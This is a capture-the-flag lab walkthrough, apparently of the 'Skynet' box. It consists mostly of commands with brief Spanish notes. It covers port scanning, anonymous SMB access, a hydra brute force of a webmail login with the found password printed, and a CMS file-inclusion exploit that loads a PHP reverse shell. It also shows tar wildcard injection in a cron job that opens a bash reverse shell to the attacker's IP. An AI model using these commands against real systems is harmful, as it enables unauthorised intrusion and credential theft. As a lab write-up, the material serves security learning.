nmap -A -p- -oA output 10.10.78.162 --min-rate=10000 --script=vuln --script-timeout=15 -v

Pasted image 20210506085533.png

nmap -sC -sV -O -p- -oA skynet 10.10.78.162

nmap -sU -O -p- -oA skynet-udp 10.10.78.162

nikto -h 10.10.78.162:80

gobuster dir -u http://10.10.78.162 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40 -o scans/gobuster-root-
med

smbclient -L 10.10.78.162

Pasted image 20210506090002.png

smbclient //10.10.78.162/anonymous

Pasted image 20210506090659.png

Pasted image 20210506090540.png

hydra -l milesdyson -P log1.txt 10.10.78.162 http-post-form "/squirrelmail/src/redirect.php:login\_username=^USER^&secretkey=^PASS^&js\_autodetect\_results=1&just\_logged\_in=1:Unknown user or password incorrect." -v

Pasted image 20210507081353.png

Pasted image 20210507081630.png

Pasted image 20210507081749.png

milesdyson/)s{A&2Z=F^n_E.B`

smbclient -U milesdyson //10.10.78.162/milesdyson smb: \> ls smb: \> cd notes smb: \notes\> ls smb: \notes\> get important.txt cat important.txt

Pasted image 20210507082441.png

curl -s http://10.10.78.162/45kra24zxs28v3yd/

Vemos que este directorio tiene un cms

Pasted image 20210507083016.png

Existe un exploit para este cms https://www.exploit-db.com/exploits/25971

curl -s http://10.10.78.162/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

rlwrap nc -lvnp 5555 locate php-reverse-shell vim php-reverse-shell

Cambiamos la ip y el puerto

![[Pasted image 20210507084228.png]]

python3 -m http.server 8888

http://10.10.78.162/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.72.57:8888/php-reverse-shell.php

Pasted image 20210507084400.png

python -c 'import pty; pty.spawn("/bin/bash")' cd /home/milesdyson ls -la cat /etc/crontab

Podemos ver que se corre un cron que comprime todo encontrado en /var/www/html y lo pone en backup.sh

Pasted image 20210507084855.png

GTFOBins https://gtfobins.github.io/gtfobins/tar/

$ printf '#!/bin/bash\nbash -i >& /dev/tcp/10.6.72.57/7777 0>&1' > /var/www/html/shell $ chmod +x /var/www/html/shell $ touch /var/www/html/--checkpoint=1 $ touch /var/www/html/--checkpoint-action=exec=bash\ shell $ ls -l /var/www/html

Pasted image 20210507090025.png

nc -lvnp 7777

Pasted image 20210507090043.png

boxes

copyright©2022 Cu3rv0x all rights reserved